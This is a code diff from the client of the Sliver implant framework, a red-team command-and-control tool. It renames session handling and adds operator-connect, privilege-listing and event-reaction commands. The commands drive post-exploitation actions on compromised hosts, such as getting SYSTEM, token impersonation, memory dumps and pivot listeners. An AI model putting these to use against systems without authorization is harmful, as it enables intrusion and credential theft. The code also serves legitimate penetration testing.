+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}
+
+func init() {
+	commandMap = make(map[string]macro)
+}

client/command/network/ifconfig.go

@@ -31,13 +31,13 @@ import (
 
 // IfconfigCmd - Display network interfaces on the remote system
 func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 
 	ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/network/netstat.go

@@ -31,7 +31,7 @@ import (
 
 // NetstatCmd - Display active network connections on the remote system
 func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	udp := ctx.Flags.Bool("udp")
 
 	netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		TCP:       tcp,
 		UDP:       udp,
 		Listening: listening,
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
 	}
 
 	con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	for _, e := range entries {
 		p := ""
 		if e.Process != nil {
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
 	if len(parts) != 3 {
 		return false
 	}
-	c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
+	c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
 	return strings.Join(parts[:2], ":") == c2Addr
 }

client/command/pivots/named-pipe.go

@@ -10,7 +10,7 @@ import (
 
 // NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
 func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
 
 	_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
 		PipeName: pipeName,
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {

client/command/pivots/pivots.go

@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		printPivots(session, int64(timeout), con)
 	} else {
-		session := con.ActiveSession.Get()
+		session := con.ActiveTarget.GetSession()
 		if session != nil {
 			printPivots(session, int64(timeout), con)
 		} else {

client/command/pivots/tcp.go

@@ -11,7 +11,7 @@ import (
 
 // TCPListenerCmd - Start a TCP pivot listener on the remote system
 func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
 		Address: address,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {

client/command/portfwd/portfwd-add.go

@@ -31,7 +31,7 @@ import (
 
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

client/command/prelude-operator/connect.go

@@ -0,0 +1,63 @@
+package operator
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	url := ctx.Args.String("connection-string")
+	aesKey := ctx.Flags.String("aes-key")
+	agentRange := ctx.Flags.String("range")
+	skipExisting := ctx.Flags.Bool("skip-existing")
+
+	config := &prelude.OperatorConfig{
+		Range:       agentRange,
+		OperatorURL: url,
+		RPC:         con.Rpc,
+		AESKey:      aesKey,
+	}
+
+	sessionMapper := prelude.InitSessionMapper(config)
+
+	con.PrintInfof("Connected to Operator at %s\n", url)
+	if !skipExisting {
+		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Could not get session list: %s", err)
+			return
+		}
+		if len(sessions.Sessions) > 0 {
+			con.PrintInfof("Adding existing sessions ...\n")
+			for _, sess := range sessions.Sessions {
+				err = sessionMapper.AddSession(sess)
+				if err != nil {
+					con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
+				}
+			}
+			con.PrintInfof("Done !\n")
+		}
+	}
+}

client/command/prelude-operator/operator.go

@@ -0,0 +1,33 @@
+package operator
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/desertbit/grumble"
+)
+
+func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if prelude.SessionMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
+		return
+	}
+	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+}

client/command/privilege/getprivs.go

@@ -0,0 +1,109 @@
+package privilege
+
+import (
+	"context"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var processName string = "Current Process"
+
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	if session.OS != "windows" {
+		con.PrintErrorf("Command not supported on this operating system.")
+		return
+	}
+
+	privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Response is the Envelope (see RPC API), Err is part of it.
+	if privs.Response != nil && privs.Response.Err != "" {
+		con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
+		con.PrintErrorf("%s\n", privs.Response.Err)
+	}
+
+	if privs.PrivInfo == nil {
+		return
+	}
+
+	if privs.ProcessName != "" {
+		processName = privs.ProcessName
+	}
+
+	// To make things look pretty, figure out the longest name and description
+	// for column width
+	var nameColumnWidth int = 0
+	var descriptionColumnWidth int = 0
+	var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
+
+	for _, entry := range privs.PrivInfo {
+		if len(entry.Name) > nameColumnWidth {
+			nameColumnWidth = len(entry.Name)
+		}
+		if len(entry.Description) > descriptionColumnWidth {
+			descriptionColumnWidth = len(entry.Description)
+		}
+	}
+
+	// Give one more space
+	nameColumnWidth += 1
+	descriptionColumnWidth += 1
+
+	con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
+	con.Println(strings.Repeat("-", introWidth))
+	con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
+	for _, entry := range privs.PrivInfo {
+		con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
+		if entry.Enabled {
+			con.Printf("Enabled")
+		} else {
+			con.Printf("Disabled")
+		}
+		if entry.EnabledByDefault {
+			con.Printf(", Enabled by Default")
+		}
+		if entry.Removed {
+			con.Printf(", Removed")
+		}
+		if entry.UsedForAccess {
+			con.Printf(", Used for Access")
+		}
+		con.Printf("\n")
+	}
+}

client/command/privilege/getsystem.go

@@ -28,17 +28,17 @@ import (
 
 // GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
 func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 	process := ctx.Flags.String("process")
-	config := con.GetActiveSliverConfig()
+	config := con.GetActiveSessionConfig()
 	ctrl := make(chan bool)
 	con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
 
 	getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
-		Request:        con.ActiveSession.Request(ctx),
+		Request:        con.ActiveTarget.Request(ctx),
 		Config:         config,
 		HostingProcess: process,
 	})

client/command/privilege/impersonate.go

@@ -28,13 +28,13 @@ import (
 
 // ImpersonateCmd - Windows only, impersonate a user token
 func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 	username := ctx.Args.String("username")
 	impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 		Username: username,
 	})
 

client/command/privilege/make-token.go

@@ -28,7 +28,7 @@ import (
 
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)
 
 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 		Username: username,
 		Domain:   domain,
 		Password: password,

client/command/privilege/rev2self.go

@@ -28,12 +28,12 @@ import (
 
 // RevToSelfCmd - Drop any impersonated tokens
 func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 	_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {

client/command/privilege/runas.go

@@ -28,7 +28,7 @@ import (
 
 // RunAsCmd - Run a command as another user on the remote system
 func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,

client/command/processes/procdump.go

@@ -1,5 +1,23 @@
 package processes
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
@@ -13,7 +31,7 @@ import (
 
 // ProcdumpCmd - Dump the memory of a remote process
 func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -37,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	con.SpinUntil("Dumping remote process memory ...", ctrl)
 	dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Pid:     int32(pid),
 		Timeout: int32(ctx.Flags.Int("timeout") - 1),
 	})

client/command/processes/ps.go

@@ -46,7 +46,7 @@ var (
 
 // PsCmd - List processes on the remote system
 func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ownerFilter := ctx.Flags.String("owner")
 
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
 	if modifyColor, ok := knownProcs[proc.Executable]; ok {
 		color = modifyColor
 	}
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session != nil && proc.Pid == session.PID {
 		color = console.Green
 	}
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
 // GetPIDByName - Get a PID by name from the active session
 func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return -1

client/command/processes/terminate.go

@@ -1,5 +1,23 @@
 package processes
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 
@@ -10,14 +28,14 @@ import (
 
 // TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 
 	pid := ctx.Args.Uint("pid")
 	terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Pid:     int32(pid),
 		Force:   ctx.Flags.Bool("force"),
 	})

client/command/reaction/README.md

@@ -0,0 +1,5 @@
+Reaction
+=========
+
+Commands to set a reaction, or unset a reaction. Reactions allow the operator to automate commands in response to event(s).
+

client/command/reaction/helpers.go

@@ -0,0 +1,80 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/core"
+)
+
+const (
+	ReactionFileName = "reactions.json"
+)
+
+// GetReactionFilePath - Get the
+func GetReactionFilePath() string {
+	return path.Join(assets.GetRootAppDir(), ReactionFileName)
+}
+
+// SaveReactions - Save the reactions to the reaction file
+func SaveReactions(reactions []core.Reaction) error {
+	reactionFilePath := GetReactionFilePath()
+	data, err := json.MarshalIndent(reactions, "", "  ")
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(reactionFilePath, data, 0600)
+}
+
+// LoadReactions - Save the reactions to the reaction file
+func LoadReactions() (int, error) {
+	reactionFilePath := GetReactionFilePath()
+	data, err := ioutil.ReadFile(reactionFilePath)
+	if err != nil {
+		return 0, err
+	}
+	reactions := []core.Reaction{}
+	err = json.Unmarshal(data, &reactions)
+	if err != nil {
+		return 0, err
+	}
+	for _, oldReaction := range core.Reactions.All() {
+		core.Reactions.Remove(oldReaction.ID)
+	}
+	for _, reaction := range reactions {
+		if !isReactable(reaction) {
+			continue
+		}
+		core.Reactions.Add(reaction)
+	}
+	return len(reactions), nil
+}
+
+func isReactable(reaction core.Reaction) bool {
+	for _, eventType := range core.ReactableEvents {
+		if reaction.EventType == eventType {
+			return true
+		}
+	}
+	return false
+}

client/command/reaction/reaction.go

@@ -0,0 +1,90 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionCmd - Manage reactions to events
+func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	totalReactions := 0
+	for _, eventType := range core.ReactableEvents {
+		reactions := core.Reactions.On(eventType)
+		if 0 < len(reactions) {
+			displayReactionsTable(eventType, reactions, con)
+		}
+		totalReactions += len(reactions)
+	}
+	if totalReactions == 0 {
+		con.PrintInfof("No reactions set\n")
+	}
+}
+
+func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
+
+	// Title
+	con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
+
+	// Table
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "ID\tCommands\t\n")
+	fmt.Fprintf(table, "%s\t%s\t\n",
+		strings.Repeat("=", len("ID")),
+		strings.Repeat("=", len("Commands")),
+	)
+	for _, react := range reactions {
+		fmt.Fprintf(table, "%d\t%s\t\n",
+			react.ID, strings.Join(react.Commands, ","),
+		)
+	}
+	table.Flush()
+	con.Printf("%s", outputBuf.String())
+}
+
+// EventTypeToTitle - Convert an eventType to a more human friendly string
+func EventTypeToTitle(eventType string) string {
+	switch eventType {
+
+	case consts.SessionOpenedEvent:
+		return "Session Opened"
+	case consts.SessionClosedEvent:
+		return "Session Closed"
+	case consts.SessionUpdateEvent:
+		return "Session Updated"
+
+	case consts.CanaryEvent:
+		return "Canary Trigger"
+
+	case consts.WatchtowerEvent:
+		return "Watchtower Trigger"
+
+	default:
+		return eventType
+	}
+}

client/command/reaction/reload.go

@@ -0,0 +1,48 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionSaveCmd - Manage reactions to events
+func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
+		con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+
+	n, err := LoadReactions()
+	if err != nil {
+		con.PrintErrorf("Failed to load reactions: %s\n", err)
+	}
+	con.Println()
+	con.PrintInfof("Reloaded %d reactions from disk\n", n)
+}

client/command/reaction/save.go

@@ -0,0 +1,46 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionSaveCmd - Manage reactions to events
+func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
+	err := SaveReactions(core.Reactions.All())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved reactions to disk\n")
+	}
+}

client/command/reaction/set.go

@@ -0,0 +1,106 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	// ErrNonReactableEvent - Event does not exist or is not supported by reactions
+	ErrNonReactableEvent = errors.New("non-reactable event type")
+)
+
+// ReactionSetCmd - Set a reaction upon an event
+func ReactionSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	eventType, err := getEventType(ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.Println()
+	con.PrintInfof("Setting reaction to: %s\n", EventTypeToTitle(eventType))
+	con.Println()
+	rawCommands, err := userCommands()
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	commands := []string{}
+	for _, rawCommand := range strings.Split(rawCommands, "\n") {
+		if rawCommand != "" {
+			commands = append(commands, rawCommand)
+		}
+	}
+
+	reaction := core.Reactions.Add(core.Reaction{
+		EventType: eventType,
+		Commands:  commands,
+	})
+
+	con.Println()
+	con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID)
+}
+
+func getEventType(ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	rawEventType := ctx.Flags.String("event")
+	if rawEventType == "" {
+		return selectEventType(con)
+	} else {
+		for _, eventType := range core.ReactableEvents {
+			if eventType == rawEventType {
+				return eventType, nil
+			}
+		}
+		return "", ErrNonReactableEvent
+	}
+}
+
+func selectEventType(con *console.SliverConsoleClient) (string, error) {
+	prompt := &survey.Select{
+		Message: "Select an event:",
+		Options: core.ReactableEvents,
+	}
+	selection := ""
+	err := survey.AskOne(prompt, &selection)
+	if err != nil {
+		return "", err
+	}
+	for _, eventType := range core.ReactableEvents {
+		if eventType == selection {
+			return eventType, nil
+		}
+	}
+	return "", ErrNonReactableEvent
+}
+
+func userCommands() (string, error) {
+	text := ""
+	prompt := &survey.Multiline{
+		Message: "Enter commands: ",
+	}
+	err := survey.AskOne(prompt, &text)
+	return text, err
+}

client/command/reaction/unset.go

@@ -0,0 +1,84 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionUnsetCmd - Unset a reaction upon an event
+func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	reactionID := ctx.Flags.Int("id")
+	if reactionID == 0 {
+		reaction, err := selectReaction(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		reactionID = reaction.ID
+	}
+	success := core.Reactions.Remove(reactionID)
+	if success {
+		con.Println()
+		con.PrintInfof("Successfully removed reaction with id %d", reactionID)
+	} else {
+		con.PrintWarnf("No reaction found with id %d", reactionID)
+	}
+	con.Println()
+}
+
